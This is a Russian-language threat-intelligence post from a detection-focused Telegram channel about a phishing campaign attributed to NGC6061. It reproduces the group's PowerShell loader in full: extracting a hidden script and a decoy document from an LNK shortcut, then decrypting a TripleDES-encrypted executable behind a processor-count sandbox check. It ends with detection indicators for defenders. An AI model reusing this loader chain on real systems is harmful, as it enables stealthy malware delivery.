TGViewer
Detection is easy Detection is easy @detectioneasy · 1.28K subscribers
Post #263 896
Всем привет! 💻✌️
Solar выпустил отчет о фишинговых кампаниях, применяемых группировкой NGC6061

Атака начинается с фишингового письма, которое содержит ZIP -> self-extracted LNK

При запуске ярлыка выполняется следующий ps-скрипт. Скрипт извелекает из LNK два файла - ps1, decoy-docx, сохраняет их в c:\windows\Temp и запускает


powershell.exe -exec bypass -w 1 -c $p=Get-ChildItem -Path $env:userprofile -Include Interview_questions.doc.lnk -Recurse;
$tbytes=[System.IO.File]::ReadAllBytes($p); $tstr=$tbytes|ForEach-Object{$_.ToString('X2')};
for($i=0;$i-le$tstr.Length;$i++){
if($tstr[$i]-eq'24'-and$tstr[$i+1]-eq'42'){
$st=$i;break;
}
}
for($i=0;$i-le$tstr.Length;$i++){
if($tstr[$i]-eq'50'-and$tstr[$i+1]-eq'4B'-and$tstr[$i+2]-eq'03'){
$ed=$i;
break;
}
}
for($j=$st;$j-lt$ed;$j++){
$ec+=$tstr[$j]
}
for($l=$ed;$l-le$tstr.Length;$l++){
$oc+=$tstr[$l];
}
$by=[byte[]]($ec -split '([0-9a-f]{2})'|Where-Object{$_ -match '[0-9a-f]{2}'}|ForEach-Object{[Convert]::ToByte($_, 16)});
$cy=[byte[]]($oc -split '([0-9a-f]{2})'|Where-Object{$_ -match '[0-9a-f]{2}'}|ForEach-Object{[Convert]::ToByte($_, 16)}); $ye=[system.Text.Encoding]::default.getstring($by); [System.IO.File]::WriteAllBytes('c:\windows\temp\u1.ps1', $by); [System.IO.File]::WriteAllBytes('c:\windows\temp\1.docx', $cy);
start-process c:\windows\temp\1.docx;
powershell.exe -exec bypass -w 1 -f c:\windows\temp\u1.ps1;


Второй скрипт расшифровывает полезную нагрузку, проверяет количество логических процессоров и если их меньше двух 2, то запускает decoy, иначе запускает бинарь



$B64="<base64_encode_str>"
$TDESKEY = 'fRTYUIOEGo6nMYPcyCnEJc4qVRTkGY82'
function decode($EncryptedData) {
$Data = $EncryptedData.Split(':')
$TD = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
$Key = [Convert]::FromBase64String($TDESKEY)
$IV = [Convert]::FromBase64String($Data[0])
$DataByte = [Convert]::FromBase64String($Data[1])
$MS = New-Object System.IO.MemoryStream(,$DataByte)
$CS = New-Object System.Security.Cryptography.CryptoStream($MS,$TD.CreateDecryptor($Key,$IV), [System.Security.Cryptography.CryptoStreamMode]::Read)
$Reader = New-Object System.IO.StreamReader($CS)
$Result = $Reader.ReadToEnd()
$Reader.Dispose()
$Bytes=[System.Convert]::FromBase64String($Result)
[System.IO.File]::WriteAllBytes( "c:\windows\temp\cgi2.exe",$Bytes)
return $Bytes

}
$t3=Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty NumberOfLogicalProcessors;
if($t3 -le 2)
{
calc.exe;
}
else
{
[byte[]]$readb=decode($B64);
start-sleep(100);
c:\windows\temp\cgi2.exe
}


Интересно, что пути захардкожены c:\windows\temp\

🔭 Для обнаружения достаточно индикаторов:

🔤 Создание LNK с ADS NTFS в %Temp% или в одной из директорий пользователя
🔤 Анализ опасных-командлетов powershell System.Security.Cryptography, WriteAllBytes, System.IO.File, ReadAllBytes, byte[], ToByte

#detectioneasy
#ttp@detectioneasy
  • 🔥 9
  • 👍 5
  • 🤔 3
More from @detectioneasy
  1. Jul 29, 2026Всем привет 💻✌️ При проведении compromise assessment на Windows-машине в WORKGROUP сразу…
  2. Jul 16, 2026Всем привет 💻✌️ Коллеги из Инфотекс сообщают о возможной компрометации пользователей, пут…
  3. May 15, 2026Всем привет 💻✌️ Коллеги из PT ESC разобрали кампанию CapFix, нацеленную на российские орг…
  4. May 8, 2026В Windows 11 версии 24H2 и Windows Server 2025 добавлены новая политика и события аудита N…
  5. Apr 7, 2026Всем привет 💻✌️ Автор статьи показал интересный способ доставки вредоносного ПО в обход п…
  6. Mar 15, 2026Всем привет 💻✌️ Тема с ярлыками остаётся актуальной и для некоторых дистрибутивов Linux.…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →